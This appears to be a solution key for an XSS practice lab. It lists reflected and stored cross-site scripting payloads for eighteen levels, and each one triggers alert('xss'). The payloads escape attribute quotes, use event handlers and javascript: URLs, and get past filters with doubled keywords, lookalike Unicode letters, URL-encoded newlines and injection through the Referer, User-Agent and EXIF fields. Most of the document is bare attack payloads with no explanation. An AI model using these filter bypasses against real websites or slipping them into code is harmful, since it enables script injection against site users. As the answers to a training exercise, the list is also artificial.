Leve-1:
<script>alert('xss')</script>
Leve-2:
"><script>alert('xss')</script>
Leve-3:
'οnfοcus=javascript:alert('xss') >
Leve-4:
"οnfοcus=javascript:alert('xss') "
Leve-5
"><a href=javascript:alert('xss')>xss</a>
Leve-6
"Onfocus=javascript:alert('xss') "
Leve-7
"oonnfocus=javascriscriptpt:alert('xss') "
Leve-8
javascript:alert(1)
Leve-9
javascript:alert('xss')
javascript:alert('http://')
Leve-10
keyword=text&t_sort="οnfοcus=javascript:alert('xss') type="text" ><
Leve-11
referer: "οnfοcus=javascript:alert('xss') type="text" ><
Leve-12
User-Agent: "οnfοcus=javascript:alert('xss') type="text" ><
Leve-13
user="οnfοcus=javascript:alert('xss') type="text" ><
Leve-14
exif:"<img src=1 onerrror=alert('xss')>
Leve-15
src= 'level10.php?t_sort=" οnclick=alert(/xss/) type="text" >< '
Leve-16
keyword=<img%0Asrc="xss"%0Aonerror=alert('xss')>
Leve-17
arg01=a&arg02=c%0Aonmouseover%3dalert('xss')
Leve-18
arg01=a&arg02=c%0Aonmouseover%3dalert('xss')